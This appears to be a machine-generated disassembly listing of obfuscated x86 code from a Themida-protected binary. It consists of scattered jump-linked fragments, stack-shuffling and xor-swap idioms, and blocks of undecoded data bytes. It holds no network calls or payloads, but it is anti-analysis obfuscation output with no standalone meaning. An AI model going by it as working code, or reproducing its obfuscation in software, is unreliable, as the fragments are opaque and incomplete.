		dd 3EDC014h, 0B753C5FEh, 9FEF808Eh, 6602E7C0h, 0E9000068h
		dd 0FFFFE1A2h, 0D24EE2BFh, 0F871E960h, 4BEFFFFh, 0E9000000h
		dd 8009h, 0B850C301h, 0D3E1FD9h, 4EACBF57h, 0F7817FD1h
		dd 46D14B09h, 2D5FF831h, 0C5530C2Ah, 0FFEB4BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563511:				; CODE XREF: Themida_:00571FECj
		sub	ebp, 15A950DDh
		and	ebp, 2524E97h
		push	4E05h
		mov	[esp], eax
		mov	eax, 0D86616E6h
		sub	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		xor	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55E247
; ---------------------------------------------------------------------------


loc_563542:				; CODE XREF: Themida_:00561D78j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_57193B
; ---------------------------------------------------------------------------


loc_563553:				; CODE XREF: Themida_:0055F1A0j
		pop	dword ptr [eax]
		jmp	loc_571DB4
; ---------------------------------------------------------------------------
		dw 285Ah
		dd 0FD82E9E3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_56160B
; ---------------------------------------------------------------------------
		dd 7A309505h, 57F00130h, 9515DABFh, 6EFC166h, 71E8EF81h
		dd 0BA525BBBh, 6088383Fh, 9BB2E9h
		db 0
; ---------------------------------------------------------------------------


loc_563591:				; CODE XREF: Themida_:005648F2j
		add	esi, 1F4A23D0h
		not	esi
		xor	esi, 0A1936635h
		mov	eax, esi
		pop	esi
		sub	edi, eax
		jmp	loc_55FB82
; ---------------------------------------------------------------------------


loc_5635A9:				; CODE XREF: Themida_:0055F3DAj
		neg	ebp
		jmp	loc_55FCA7
; ---------------------------------------------------------------------------
		dd 3C8BFB89h, 4C48324h,	0C2E9D829h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5635BF:				; CODE XREF: Themida_:00568489j
		mov	ecx, [esp]
		jmp	loc_56EC1C
; ---------------------------------------------------------------------------


loc_5635C7:				; CODE XREF: Themida_:0055F135j
		add	eax, edi
		pop	edi
		jmp	loc_568525
; ---------------------------------------------------------------------------


loc_5635CF:				; CODE XREF: Themida_:00563E77j
		pop	esp
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_560C02
; ---------------------------------------------------------------------------
		dw 6B9h
		dd 0E918A567h, 6E39h
; ---------------------------------------------------------------------------


loc_5635E8:				; CODE XREF: Themida_:0056B93Aj
		add	esp, 4
		sub	esp, 4
		jmp	loc_569C8B
; ---------------------------------------------------------------------------
		db 31h,	2Ch, 24h
		dd 8B242C33h, 0E9812424h, 282A16F0h, 0E9814149h, 117AF2C7h
		dd 3E1DF105h, 578B0555h, 0C82937E2h, 0E2578B2Dh, 1DF12D37h
		dd 6659553Eh, 0E900B60Fh, 0FFFFB31Ch, 4C281h, 0C2810000h
		dd 4, 0E9241487h, 0EE40h
; ---------------------------------------------------------------------------


loc_563644:				; CODE XREF: Themida_:0055D158j
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_56D171
; ---------------------------------------------------------------------------


loc_56364F:				; CODE XREF: Themida_:0056AFF1j
		sub	dword ptr [esp], 1D892C39h
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_56A318
; ---------------------------------------------------------------------------
		dw 4C29h
		dd 81590824h, 5604246Ch, 0E96D8052h, 5F7Ah, 5C240487h
		dd 24048F54h, 4BA52h, 0BE560000h, 2571468h, 61B6E9h, 240C3300h
		dd 0E9240C31h, 1E07h, 5A2434FFh, 56E28952h, 4BEh, 5EF20100h
		dd 4C281h, 14870000h, 0DD84E924h, 0BA52FFFFh, 16655E7Eh
		dd 5E7AF281h, 0BB531665h, 74846874h, 0FFA166E9h, 59CA89FFh
		dd 3C8BFA29h, 4C48324h,	8904EC83h, 2BD242Ch, 814FBF7Ch
		dd 25148FEDh, 30C3E94Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5636EE:				; CODE XREF: Themida_:00562F75j
		mov	eax, ecx
		pop	ecx
		jmp	loc_568971
; ---------------------------------------------------------------------------
		dw 1489h
aIQ8		db '$ˆÊQ¹8',0
		align 10h
		dd 88F90100h, 0FF5A5911h, 32E92434h, 29000086h,	242C8BEFh
		dd 6804C483h, 3A7Ch, 0B9240C89h, 5BC523CEh, 2CC18141h
		dd 15F59A1h, 820559CFh,	1463834h, 6D7FE9F8h, 0C890000h
		dd 81E18924h, 4C1h, 0FA7FE900h,	0EE81FFFFh, 0F830288h
		dd 5A2434FFh, 5604C483h, 618DE9h, 24048B00h, 4C481h, 0E2E90000h
		dd 89FFFFAEh, 5753240Ch, 0ED281C68h, 33E95F4Fh,	5D000015h
		dd 67B85045h, 0C1243A63h, 0A73508E0h, 0E9414320h, 0FFFFC98Dh
		dd 914999BAh, 8BD0212Dh, 0C4832414h, 1675E904h,	0C870000h
		dd 0E3B0E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5637AA:				; CODE XREF: Themida_:0056E3D5j
		mov	ebx, 30AB2E56h
		jmp	loc_5602B9
; ---------------------------------------------------------------------------
		dd 24048966h, 0FF9708E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5637BD:				; CODE XREF: Themida_:00561FCFj
		pop	edi
		add	ebp, edx
		push	esi
		mov	esi, 7D585434h
		jmp	loc_561D32
; ---------------------------------------------------------------------------
		db 8Bh
		dd 14892424h, 0CAD6824h, 4890000h, 0AE92E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5637DE:				; CODE XREF: Themida_:00565B89j
		add	[esp+4], ecx
		mov	ecx, [esp]
		jmp	loc_570206
; ---------------------------------------------------------------------------
		dw 0B7h
		dd 0E984F780h, 1AF4h, 0FFFFBB53h, 0DA01FFFFh, 0F2D685Bh
		dd 1C890000h, 2D46BB24h, 0EBC11B51h, 71F38103h,	1693036h
		dd 0C2815BDAh, 47A99CF5h, 28D6E9h, 1FBF5700h, 4F2BD54Fh
		dd 209FE9h
		db 0
; ---------------------------------------------------------------------------


loc_56382D:				; CODE XREF: Themida_:00564AA1j
		add	esp, 4


loc_563833:				; CODE XREF: Themida_:0055F66Ej
		push	edi
		push	esp
		mov	edi, [esp]
		push	587Eh
		jmp	loc_5701A7
; ---------------------------------------------------------------------------
		dw 3487h
		dd 54E95C24h, 89FFFFEEh, 29B22414h, 0D028A704h,	8A5BE9h
		dd 2474FF00h, 2434FF04h, 592434FFh, 8304C483h, 48F04C4h
		dd 9E6BE924h, 0F2810000h, 95C12D98h, 15AD729h, 0C5815FFDh
		dd 4, 8B242C87h, 0EC812424h, 4,	52240C89h, 0FFD60BE9h
		dd 0F38143FFh, 8ED22B0h, 0B66CE951h, 3C890000h,	4EC8124h
		dd 89000000h, 4682434h,	8B000000h, 20E92434h, 0FFFFFFBAh
		dd 0E9592434h, 0FFFFDAEAh, 60C26857h, 21E91071h, 0C100002Dh
		dd 0F38102EBh, 7C325685h, 0A8BCE9h
		db 0
; ---------------------------------------------------------------------------


loc_5638E1:				; CODE XREF: Themida_:0056A087j
		or	ecx, 7EE74D8Ch
		shl	ecx, 4
		shl	ecx, 3
		dec	ecx
		jmp	loc_56603B
; ---------------------------------------------------------------------------
aQJ_BdOuSf	db 'Q¹¦_)',0Bh,'D$',8,'ŽU|:锜',0
		align 2


loc_563906:				; CODE XREF: Themida_:005674E8j
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		and	edi, 71694D27h
		neg	edi
		shl	edi, 1
		not	edi
		xor	edi, 0A9F756CCh
		sub	edx, edi
		pop	edi
		jmp	loc_569E39
; ---------------------------------------------------------------------------
		db 81h
		dd 877789C6h, 81CE011Dh, 877789EEh, 69E6E91Dh, 0C6830000h
		dd 24348704h, 24048F5Ch, 243CD25Ch, 9577E99Ch, 295FFFFFh
		dd 9EC581C5h, 8B240A26h
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	ebp, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		jmp	loc_5610B8
; ---------------------------------------------------------------------------


loc_563977:				; CODE XREF: Themida_:00563DCAj
		mov	esi, [esp]
		push	ebx
		jmp	loc_56CD6C
; ---------------------------------------------------------------------------
		dd 42474FFh, 81240C8Bh,	4C4h, 24048F00h, 0FF9F3EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563995:				; CODE XREF: Themida_:0056561Bj
		mov	dl, 0E2h
		shr	dl, 8
		and	dl, 49h
		push	ecx
		mov	ch, 1
		add	dl, ch
		pop	ecx
		jmp	loc_564FB9
; ---------------------------------------------------------------------------


loc_5639A8:				; CODE XREF: Themida_:0056CF5Bj
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	ecx
		jmp	loc_563C30
; ---------------------------------------------------------------------------
		dw 0E956h
		dd 0FFFFC935h, 7A34BE56h, 0F1893EC7h, 0BE64E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5639D2:				; CODE XREF: Themida_:00561370j
		add	[esp+4], ebp
		add	dword ptr [esp+4], 7E8561F1h
		sub	dword ptr [esp+4], 146814E7h
		push	edx
		jmp	loc_56EA88
; ---------------------------------------------------------------------------
		dd 0E924048Bh, 7ED5h
; ---------------------------------------------------------------------------


loc_5639F4:				; CODE XREF: Themida_:0056F81Dj
		add	dword ptr [esp], 522645D2h
		pop	esi
		sub	esi, 522645D2h
		mov	ecx, [esp]
		add	esp, 4
		sub	esi, 34A62C6Dh
		add	edx, esi
		pop	esi
		xchg	edx, [esp]
		jmp	loc_568054
; ---------------------------------------------------------------------------
		dd 3304C483h, 34312434h, 4F9E924h, 0FCB80000h, 31DA54D1h
		dd 0D82958C3h, 58C5895Bh, 0C15DEB29h, 0DBF707E3h, 0A2D5BD55h
		dd 0F1E9A7AFh, 8100000Dh, 0B50334C5h, 0E9EE3117h, 0B33h
		dd 25FCEB81h, 0DF891184h, 5FC6685Bh, 5AE90000h
		db 63h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_563A6B:				; CODE XREF: Themida_:005675B9j
		push	edi
		mov	edi, 74607D9Ah
		shr	edi, 1
		xor	edi, 2FF4199h
		xor	edi, ecx
		xor	ecx, edi
		jmp	loc_560579
; ---------------------------------------------------------------------------


loc_563A82:				; CODE XREF: Themida_:005717D4j
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5678F8
; ---------------------------------------------------------------------------


loc_563A91:				; CODE XREF: Themida_:00567E8Aj
		add	esp, 4
		add	eax, 1
		push	edx
		mov	edx, 24h
		add	edx, edi
		xor	[edx], eax
		mov	edx, [esp]
		add	esp, 4
		xor	eax, [edi+24h]
		xor	[edi+24h], eax


loc_563AB3:				; CODE XREF: Themida_:0055D3B1j
		push	36Bh
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_56F155
; ---------------------------------------------------------------------------
		db 0BFh, 0CAh, 39h
		dd 0F9012E69h, 0BAB8505Fh, 0C146092Eh, 0B00507E0h, 0E91E52A4h
		dd 32BCh, 0C104C483h, 0F38106EBh, 3B1C10h, 4275EA81h, 0DA012BE7h
		dd 4275C281h, 0E92BE7h,	81000019h, 703660F3h, 5BDA2973h
		dd 6F51CA81h, 0EAC17159h, 0D74E908h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563B1E:				; CODE XREF: Themida_:0056B154j
		pop	edi
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		push	1
		mov	ecx, [esp]
		jmp	loc_562B34
; ---------------------------------------------------------------------------
aISm		db '‰$$éMÙ',0
		align 2
		dw 0C381h
		dd 36BD4552h, 0F9AF381h, 814378D7h, 190DC1EBh, 0EB814315h
		dd 0E2D5A5FFh, 815BDE29h, 4ECh,	24348900h, 42474FFh, 8B2434FFh
		dd 0C4812434h, 4, 4C481h, 48F0000h, 24248B24h, 54243C89h
		dd 5256515Fh, 0D0351468h, 0CA815A52h, 1CFC2B73h, 2605F281h
		dd 0EA817092h, 2785F1D9h, 0E95AD689h, 6CADh, 24348157h
		dd 3D6754Fh, 1B69E9h, 930BE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563BBA:				; CODE XREF: Themida_:00565B44j
		push	edi
		jmp	loc_565D44
; ---------------------------------------------------------------------------
		dd 0FF9300E9h, 4C683FFh, 31243433h, 6E92434h, 0BA000023h
		dd 4C891208h, 5463BD55h, 0E5C161CFh, 0F7D5F706h, 0A56E9DDh
		dd 93B80000h, 89158715h, 0F18158C1h, 4EB377FFh,	11E0E181h
		dd 0BD5503FCh, 16C97745h, 69D5CD81h, 0EDE97BF3h
		db 61h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_563C0F:				; CODE XREF: Themida_:0055E127j
		add	ebx, edx
		sub	ebx, 107A1853h
		add	[ebx], ecx
		mov	ebx, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_56942A
; ---------------------------------------------------------------------------
		dw 0E951h
		dd 0FFFFA390h
; ---------------------------------------------------------------------------


loc_563C30:				; CODE XREF: Themida_:005639B9j
		mov	ecx, esp
		push	edx
		mov	edx, 130649BCh
		dec	edx
		not	edx
		push	esi
		mov	esi, 0ECF9B640h
		jmp	loc_56C3BC
; ---------------------------------------------------------------------------


loc_563C46:				; CODE XREF: Themida_:0056FAE1j
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	ebp
		jmp	loc_561A5C
; ---------------------------------------------------------------------------


loc_563C53:				; CODE XREF: Themida_:00561A9Bj
		pop	edx
		pop	ebx
		and	ecx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		shr	ecx, 6
		sub	esp, 4
		mov	[esp], ebx
		push	esi
		jmp	loc_56FFF2
; ---------------------------------------------------------------------------


loc_563C6D:				; CODE XREF: Themida_:00566379j
		pop	ebx
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_56E9F1
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0C481241Ch, 2, 75DFE9h, 923BE900h, 3433FFFFh, 7E3FE924h
		dd 54530000h, 0FFA314E9h, 0EFC381FFh, 2973329Ah, 3B2D5BDFh
		dd 1189B5Fh, 5F3B05F8h,	0C9E9189Bh, 0D100007Fh,	0EC41E9E5h
		dd 40CFFFFh, 0E8C0D0F6h, 2EC8304h, 1970E9h, 4B900h, 0CF010000h
		dd 81240C8Bh, 4C4h, 4EC8100h, 89000000h, 4BD242Ch, 81000000h
		dd 8E25A9C7h, 0E7C78143h, 1245B1Eh, 0E7EF81EFh,	81245B1Eh
		dd 8E25A9EFh, 2434FF43h, 0E9242C8Bh, 9D9Dh, 243C875Eh
		dd 6824248Bh, 43E1h, 0FFFA4EE9h, 0F4ED80FFh, 0D4BE9h
		db 0
; ---------------------------------------------------------------------------


loc_563D25:				; CODE XREF: Themida_:00560E26j
		or	ebp, 723912EAh
		sub	ebp, 0D6738D6h
		sub	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, eax
		mov	[edx], ebx
		pop	ebx
		mov	edx, [esp]
		jmp	loc_56CAE7
; ---------------------------------------------------------------------------
		dw 5854h
		dd 24A2B951h, 0D9F774A0h, 0C9BC981h, 0C1815DA6h, 17093353h
		dd 5D9EE9h
		db 0
; ---------------------------------------------------------------------------


loc_563D65:				; CODE XREF: Themida_:00564230j
		mov	[esp], ebx
		push	ecx
		push	edx
		push	ebx
		mov	ebx, 38751B7Ah
		shr	ebx, 7
		push	46C4h
		mov	[esp], eax
		mov	eax, 7E623FB2h
		add	eax, 86727B78h
		xor	ebx, eax
		mov	eax, [esp]
		jmp	loc_56EE46
; ---------------------------------------------------------------------------
		db 80h
		dd 0E688E6F4h, 66F00058h, 0E9C5005Ah, 119Bh, 4C481h, 815E0000h
		dd 4C6h, 0D2E95300h, 5200005Fh,	0D649F9BAh, 386BE96Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563DBE:				; CODE XREF: Themida_:00570637j
		mov	esi, [esp]
		push	1C72h
		mov	[esp], esi
		push	esp
		jmp	loc_563977
; ---------------------------------------------------------------------------
aI_1		db '‰,$½',0
		dd 0E9000000h, 0FFFFD24Ch
; ---------------------------------------------------------------------------


loc_563DDC:				; CODE XREF: Themida_:0056CD7Bj
		push	edx
		jmp	loc_56BE60
; ---------------------------------------------------------------------------
		dw 0E3C1h
		dd 37F38102h, 53390DDDh, 0D3315B5Ah, 0FFE822E9h, 75C281FFh
		dd 0E9257F3Bh, 5A28h
; ---------------------------------------------------------------------------


loc_563E00:				; CODE XREF: Themida_:0056D864j
		pop	ebx
		xor	ebx, 4E2F4C5Ch
		not	ebx
		jmp	loc_56711C
; ---------------------------------------------------------------------------
		dw 405h
		dd 0E9000000h, 9E79h, 367ABD66h, 81664566h, 662D57CDh
		dd 108CC581h, 2EDC166h,	3BCD8166h, 0F5816656h, 896627B4h
		dd 242C8BE8h, 4B6CE9h, 100E6800h, 34890000h, 165BE24h
		dd 0CE811BE5h, 49055C15h, 8104EEC1h, 9B2477F6h,	4D8EE929h
		dd 0E9410000h, 0FFFFEC5Ah
; ---------------------------------------------------------------------------


loc_563E68:				; CODE XREF: Themida_:0056AA0Fj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5635CF
; ---------------------------------------------------------------------------


loc_563E7C:				; CODE XREF: Themida_:00560DCFj
		pop	ebx
		and	ebx, 7B9C0356h
		add	ebx, 25221371h
		mov	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		neg	eax
		sub	esp, 4
		jmp	loc_55E28B
; ---------------------------------------------------------------------------
		db 55h
		dd 0FFC4FDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563EA1:				; CODE XREF: Themida_:0055D3F8j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	esp, 4
		add	ebp, 4
		push	ecx
		mov	ecx, 3F1912E7h
		shr	ecx, 7
		jmp	loc_55FDCD
; ---------------------------------------------------------------------------
		dw 4BFh
		dd 0E9000000h, 5DD0h
; ---------------------------------------------------------------------------


loc_563ECC:				; CODE XREF: Themida_:0056004Dj
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		sub	bl, 51h
		push	ecx
		push	eax
		mov	ah, 4Dh
		shl	ah, 5
		neg	ah
		sub	ah, 0A4h
		add	ah, 0FFh
		push	ebx
		mov	bl, ah
		mov	ch, bl
		pop	ebx
		mov	eax, [esp]
		jmp	loc_56333D
; ---------------------------------------------------------------------------
		dw 159h
		dd 148B5FF9h, 8B3DE924h, 0E9590000h, 12BCh, 8B241C87h
		dd 0D2F72424h, 0F703E2C1h, 0C84EE9DAh, 6EB30000h, 53E9DA08h
		dd 33FFFFFDh, 248B2434h, 26806824h, 1C890000h, 4EC8324h
		dd 68241489h, 6277h, 6FDDE9h
		db 0
; ---------------------------------------------------------------------------


loc_563F41:				; CODE XREF: Themida_:00564FC5j
		mov	ch, 98h
		jmp	loc_563388
; ---------------------------------------------------------------------------
		dd 48BE688h, 4C48324h, 4CEE80h,	0EC835AF0h, 24348904h
		dd 0C6815E54h, 4, 8702EE83h, 248B2434h,	0C896624h, 0FEE95024h
		dd 5D0000D1h, 7B21E9h, 0E9545600h, 0FFFF973Bh, 50CEE380h
		dd 6270E9h
		db 0
; ---------------------------------------------------------------------------


loc_563F8D:				; CODE XREF: Themida_:0055FA7Fj
		add	dword ptr [esp], 0ADC265Dh
		pop	ebp
		push	edx
		mov	edx, 0ADC265Dh
		sub	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_56CB63
; ---------------------------------------------------------------------------


loc_563FAE:				; CODE XREF: Themida_:00572678j
		pop	eax
		push	3C77h
		jmp	loc_568482
; ---------------------------------------------------------------------------


loc_563FB9:				; CODE XREF: Themida_:0056A03Bj
		pop	esi
		add	esi, 4
		jmp	loc_56412C
; ---------------------------------------------------------------------------


loc_563FC5:				; CODE XREF: Themida_:00565C9Dj
		sub	ecx, 58FD1D90h
		push	2926h
		jmp	loc_56EC3C
; ---------------------------------------------------------------------------


loc_563FD5:				; CODE XREF: Themida_:005674B6j
		pop	ebx
		jmp	loc_562BB1
; ---------------------------------------------------------------------------


loc_563FDB:				; CODE XREF: Themida_:005682B5j
		mov	edx, 50B85220h
		sub	edx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_56C9B8
; ---------------------------------------------------------------------------


loc_563FF7:				; CODE XREF: Themida_:0055ED61j
		push	esi
		mov	esi, 422D5860h
		neg	esi
		shr	esi, 8
		sub	esi, 0FFFFFFFFh
		jmp	loc_56B5A3
; ---------------------------------------------------------------------------
		db 0BDh, 1Dh, 1
		dd 0C145714Fh, 0E5C102EDh, 0CCF58108h, 8924C42Bh, 663EE9EEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564026:				; CODE XREF: Themida_:0056C92Cj
		push	esi
		mov	esi, esp
		jmp	loc_5719A8
; ---------------------------------------------------------------------------
		dw 8953h
		dd 4C381E3h, 0E9000000h, 6CCh, 5624148Bh, 0C681E689h, 4
		dd 0FFF8EDE9h, 5AF528FFh, 2EC81h, 4BE90000h, 57FFFF9Ah
		dd 0FFB063E9h, 0C9CA81FFh, 0C11F4C33h, 0B85004EAh, 53413BF3h
		dd 0E903E8C1h, 6663h
; ---------------------------------------------------------------------------


loc_564078:				; CODE XREF: Themida_:0056A149j
		and	eax, esi
		jmp	loc_5601A2
; ---------------------------------------------------------------------------
		db 80h
		dd 0D328ECC3h, 5AECEB80h, 0FFC0B60Fh, 34FF8734h, 8EE95824h
		dd 8900006Dh, 4BD242Ch,	81000000h, 867F3C2h, 81EA012Dh
		dd 867F3EAh, 57515D2Dh,	0B9EFE9h, 8E0BE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5640BA:				; CODE XREF: Themida_:00569EC3j
		add	edi, 2C1A6CA5h
		add	edi, esi
		sub	edi, 2C1A6CA5h
		jmp	loc_565DE0
; ---------------------------------------------------------------------------


loc_5640CD:				; CODE XREF: Themida_:005690D1j
		add	ebp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xor	edi, [esp]
		jmp	loc_5667C6
; ---------------------------------------------------------------------------


loc_5640E7:				; CODE XREF: Themida_:00569973j
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 80000h
		jmp	loc_567F23
; ---------------------------------------------------------------------------
		dw 0F201h
		dd 2414875Eh, 0E789575Ch, 0FF93F6E9h, 7CAEBBFFh, 0DD017BD5h
		dd 0DAED815Bh, 0E9701924h, 0FFFFAD84h, 6804C483h, 0EB4h
		dd 0E9240489h, 9843h
; ---------------------------------------------------------------------------


loc_56412C:				; CODE XREF: Themida_:00563FC0j
		push	edi
		push	esi
		mov	esi, 433E3748h
		xor	esi, 1AC542ADh
		add	esi, 9C80446h
		push	edx
		mov	edx, esi
		jmp	loc_5686FE
; ---------------------------------------------------------------------------
		db 0B2h
		dd 2EC8393h, 240C8966h,	0EA28B8B5h, 0EA805966h,	0BABFE978h
		dd 0E95AFFFFh, 4AB5h
; ---------------------------------------------------------------------------


loc_564164:				; CODE XREF: Themida_:0056450Aj
		pop	edx
		add	esp, 4
		push	1A1h
		mov	[esp], ebx
		mov	ebx, 24h
		jmp	loc_57082F
; ---------------------------------------------------------------------------
		dw 0D601h
		dd 8124148Bh, 4C4h, 53525100h, 0F62E8468h, 0CB815B67h
		dd 438D12A9h, 0FFF2BCE9h, 4C481FFh, 81000000h, 0B47374C3h
		dd 0CDF4E945h, 48FFFFFh, 85665C24h, 0FEE99CC8h,	0F7FFFFF9h
		dd 68D7F7DFh, 286Dh, 0E9243489h, 877Ch
; ---------------------------------------------------------------------------


loc_5641C8:				; CODE XREF: Themida_:00567537j
		mov	ebp, 0
		sub	ebp, ebx
		mov	ebx, ebp
		pop	ebp
		sub	ebx, 201200E7h
		add	ebx, edx
		jmp	loc_567758
; ---------------------------------------------------------------------------


loc_5641DF:				; CODE XREF: Themida_:00568DF9j
		push	ebx
		mov	ebx, 4
		sub	edi, ebx
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	2150h
		mov	[esp], ebx
		jmp	loc_56E05D
; ---------------------------------------------------------------------------
		db 42h
		dd 2414F752h, 0FFF2815Ah, 1F6C2BFh, 0E9815AD3h,	1EB47087h
		dd 0FFADC1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56422D:				; CODE XREF: Themida_:00567D5Bj
		mov	esp, [esp]
		jmp	loc_563D65
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FD3FE95Fh, 0D801FFFFh, 7E7C68h, 24348900h, 0FA7AFFBEh
		dd 967FE914h, 0C3810000h, 93B8E56Bh, 24048153h,	6F61495Ah
		dd 5AE98159h, 8B6F6149h, 0C483241Ch, 0DC67E904h, 0C6810000h
		dd 4, 8704EE83h, 0E95C2434h, 543Ah, 53243C8Bh, 0B6E9E389h
		dd 0B9000008h, 4F5D3CD2h, 80E95552h
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56429B:				; CODE XREF: Themida_:0056CCEDj
		push	edx
		jmp	loc_55F5FB
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 4EC81h, 3C890000h, 72E95124h
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5642B3:				; CODE XREF: Themida_:00565D45j
		mov	esi, 63F24D64h
		dec	esi
		xor	esi, 30FA42C3h
		inc	esi
		jmp	loc_56CA1D
; ---------------------------------------------------------------------------
		db 56h,	54h, 8Bh
		dd 0C4832434h, 0E9575504h, 0DFBCh, 0C281E289h, 4, 0FAC68h
		dd 0BF4E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5642E6:				; CODE XREF: Themida_:005698E5j
		mov	edx, 0
		add	edx, eax
		jmp	loc_57184D
; ---------------------------------------------------------------------------
		dw 0CEE9h
		dd 8BFFFF8Bh, 34FF2424h, 2434FF24h, 0E924048Bh,	0BFh, 0C281E289h
		dd 4, 0BFA5E9h
		db 0
; ---------------------------------------------------------------------------


loc_564315:				; CODE XREF: Themida_:0056578Aj
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_5601BC
; ---------------------------------------------------------------------------
		dd 0C281EA01h, 471358F1h, 51F2015Dh, 3A0BA1B9h,	8EBE5648h
		dd 11E5179h, 0DB63E9F2h, 685FFFFFh, 2726h, 0B37AE9h, 8B73E900h
		dd 1CF7FFFFh, 6AE99C24h, 52FFFF8Bh, 0C53BF5BAh,	81DAF70Ch
		dd 0FC5D09F2h, 61EA815Bh, 81121F41h, 9A29E7CAh,	91E28162h
		dd 81349541h, 91C68DEAh, 5AD501C8h, 0ED81D501h,	6C037AF4h
		dd 0A28CE9h, 5D545500h,	4B850h,	5CE90000h, 81FFFF93h, 68D61AE9h
		dd 59C82921h, 19712D48h, 0E9527E8Ah, 0FFFFF3DCh, 8158C231h
		dd 370D5CF2h, 18B051Ah,	0ABE925D0h, 52FFFF9Dh, 0C281E289h
		dd 4, 6503E9h, 2C48300h, 0E98AC680h, 0FFFF90A3h, 55D00159h
		dd 227D2CBDh, 42ED8171h, 0E939AE4Ch, 0CF96h, 0C23C281h
		dd 832DDBD9h, 0E9533E03h, 0FFFF8C53h
; ---------------------------------------------------------------------------


loc_564404:				; CODE XREF: Themida_:005719F4j
		pop	edi
		mov	ebp, edi
		pop	edi
		push	ebp
		sub	dword ptr [esp], 0FFFFFFFFh
		jmp	loc_56BD10
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 4C4815Eh,	52000000h, 0C281E289h, 4, 4BF57h
		dd 0FA010000h, 0E92434FFh, 4E18h, 50D830ACh, 4055854h
		dd 52000000h, 4BAh, 5AD02900h, 0E9240433h, 0FFFFDB91h
		dd 0D00052B2h, 5B045A66h, 0B151F000h, 2892045Bh, 0E9922CC8h
		dd 733Bh, 6824048Bh, 1498h, 0E9242C89h,	0FFFFDABEh
; ---------------------------------------------------------------------------


loc_56447C:				; CODE XREF: Themida_:00560071j
		push	31A6h
		mov	[esp], ecx
		jmp	loc_56913A
; ---------------------------------------------------------------------------


loc_564489:				; CODE XREF: Themida_:0056A623j
		add	esp, 4
		jmp	loc_5645A0
; ---------------------------------------------------------------------------
		db 68h,	49h, 35h
		dd 3C890000h, 2474FF24h, 48F5F04h, 24895C24h, 920AE924h
		dd 0C4810000h, 4, 0E902C583h, 0FFFFCD13h, 67E9D701h, 81000012h
		dd 2578C2h, 0ADB8503Ah,	0E962D24Bh, 2DB9h, 0E9D90166h
		dd 2535h, 4240481h, 5A000000h, 4C281h
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		jmp	loc_571D7D
; ---------------------------------------------------------------------------


loc_5644EF:				; CODE XREF: Themida_:00564FABj
		add	edx, 1FFE0796h
		push	7906h
		mov	[esp], ebx
		mov	ebx, 0
		add	ebx, edx
		xor	ecx, [ebx]
		pop	ebx
		push	dword ptr [esp]
